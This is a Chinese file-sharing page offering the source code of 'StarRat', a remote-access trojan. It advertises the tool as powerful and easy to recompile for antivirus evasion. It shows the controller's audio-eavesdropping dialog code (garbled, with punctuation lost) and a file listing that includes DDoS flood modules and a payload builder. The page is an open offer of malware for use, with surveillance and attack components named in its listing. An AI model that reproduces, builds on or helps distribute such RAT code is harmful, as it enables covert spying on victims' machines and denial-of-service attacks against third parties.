資源簡介
StarRat源碼 功能強大的遠控 自己編譯做免殺好做的

代碼片段和文件信息
//?AudioDlg.cpp?:?implementation?file
//
#include?“stdafx.h“
#include?“Client.h“
#include?“AudioDlg.h“
#ifdef?_DEBUG
#define?new?DEBUG_NEW
#undef?THIS_FILE
static?char?THIS_FILE[]?=?__FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
//?CAudioDlg?dialog
CAudioDlg::CAudioDlg(CWnd*?pParent?CIOCPServer*?pIOCPServer?ClientContext?*pContext)
:?CDialog(CAudioDlg::IDD?pParent)
{
//{{AFX_DATA_INIT(CAudioDlg)
m_bIsSendLocalAudio?=?FALSE;
//}}AFX_DATA_INIT
m_hIcon =?LoadIcon(AfxGetInstanceHandle()?MAKEINTRESOURCE(IDI_AUDIO));
m_iocpServer =?pIOCPServer;
m_pContext =?pContext;
m_bIsWorking =?true;
m_nTotalRecvBytes?=?0;
sockaddr_in??sockAddr;
memset(&sockAddr?0?sizeof(sockAddr));
int?nSockAddrLen?=?sizeof(sockAddr);
BOOL?bResult?=?getpeername(m_pContext->m_Socket(SOCKADDR*)&sockAddr?&nSockAddrLen);
m_IPAddress?=?bResult?!=?INVALID_SOCKET???inet_ntoa(sockAddr.sin_addr)?:?““;
}
void?CAudioDlg::DoDataExchange(CDataExchange*?pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CAudioDlg)
DDX_Control(pDX?IDC_SEND_LOCALAUDIO?m_send_localaudio);
DDX_Check(pDX?IDC_SEND_LOCALAUDIO?m_bIsSendLocalAudio);
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CAudioDlg?CDialog)
//{{AFX_MSG_MAP(CAudioDlg)
ON_WM_CLOSE()
ON_BN_CLICKED(IDC_SEND_LOCALAUDIO?OnSendLocalaudio)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
//?CAudioDlg?message?handlers
BOOL?CAudioDlg::OnInitDialog()?
{
CDialog::OnInitDialog();
//?TODO:?Add?extra?initialization?here
//?Set?the?icon?for?this?dialog.??The?framework?does?this?automatically
//??when?the?application‘s?main?window?is?not?a?dialog
SetIcon(m_hIcon?TRUE); //?Set?big?icon
SetIcon(m_hIcon?FALSE); //?Set?small?icon
CString?str;
str.Format(_T(“\\\\%s?-?語音監(jiān)聽“)?m_IPAddress);
SetWindowText(str);
//?通知遠程控制端對話框已經打開
BYTE?bToken?=?COMMAND_NEXT;
m_iocpServer->Send(m_pContext?&bToken?sizeof(BYTE));
m_hWorkThread?=?CreateThread(NULL?0?(LPTHREAD_START_ROUTINE)WorkThread?(LPVOID)this?0?NULL);
m_send_localaudio.SetFlatstyle(TRUE);
m_send_localaudio.SetTheme(xtpControlThemeOfficeXP);
return?true;
}
void?CAudioDlg::OnReceiveComplete()
{
m_nTotalRecvBytes?+=?m_pContext->m_DeCompressionBuffer.GetBufferLen()?-?1;
CString str;
? str.Format(_T(“Receive?%d?KBytes“)?m_nTotalRecvBytes?/?1024);
SetDlgItemText(IDC_TIPS?str);
switch?(m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
{
case?TOKEN_AUDIO_DATA:
m_Audio.playBuffer(m_pContext->m_DeCompressionBuffer.GetBuffer(1)?m_pContext->m_DeCompressionBuffer.GetBufferLen()?-?1);
break;
default:
//?傳輸發(fā)生異常數據
return;
}
}
void?CAudioDlg::OnReceive()
{
}
void?CAudioDlg::OnClose()?
{
//?TODO:?Add?your?message?handler?code?here?and/or?call?default
//?TODO:?Add?your?message?handler?code?here?and/or?call?defaul
?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----
?????文件?????????22??2012-06-25?20:49??Client\a.bat
?????文件???????3766??2012-05-20?17:42??Client\AudioDlg.cpp
?????文件???????1684??2012-04-11?10:34??Client\AudioDlg.h
?????文件???????2057??2013-04-01?01:02??Client\BmpToAvi.cpp
?????文件????????834??2012-02-22?22:35??Client\BmpToAvi.h
?????文件??????17380??2013-12-23?20:48??Client\Build.cpp
?????文件???????1579??2013-03-31?15:42??Client\Build.h
?????文件???????2260??2012-04-15?14:01??Client\ChangeGroup.cpp
?????文件???????1264??2012-04-15?14:00??Client\ChangeGroup.h
?????文件??????23593??2013-12-12?20:59??Client\Client.clw
?????文件???????6370??2013-12-23?20:48??Client\Client.cpp
?????文件??????11087??2013-12-23?21:11??Client\Client.dsp
?????文件???????1555??2012-11-02?12:42??Client\Client.h
?????文件???????1964??2013-12-23?21:09??Client\Client.plg
?????文件??????48877??2013-12-23?21:09??Client\Client.rc
?????文件???????1818??2012-04-09?22:14??Client\ClientDOC.cpp
?????文件???????1443??2012-04-09?22:14??Client\ClientDOC.h
?????文件??????10481??2013-07-30?20:23??Client\ClientView.cpp
?????文件???????2154??2012-08-23?14:02??Client\ClientView.h
?????文件???????4874??2013-02-07?17:12??Client\DDOSDrDos.cpp
?????文件???????1960??2013-02-07?17:00??Client\DDOSDrDos.h
?????文件???????6138??2013-02-07?16:25??Client\DDOSFlood.cpp
?????文件???????2083??2013-02-07?15:51??Client\DDOSFlood.h
?????文件???????6163??2013-02-07?16:40??Client\DDOSFlood1.cpp
?????文件???????2096??2013-02-07?16:39??Client\DDOSFlood1.h
?????文件???????6856??2013-02-07?16:59??Client\DDOSWeb.cpp
?????文件???????2068??2013-02-07?16:50??Client\DDOSWeb.h
?????文件???????6882??2013-02-07?16:59??Client\DDOSWeb1.cpp
?????文件???????2080??2013-02-07?16:54??Client\DDOSWeb1.h
?????文件???????1410??2013-07-30?20:22??Client\decode.h
............此處省略359個文件信息
- 上一篇:計算方法復習總結內容,難點、重點等復習資料
- 下一篇:加密視頻破解.doc
評論
共有 條評論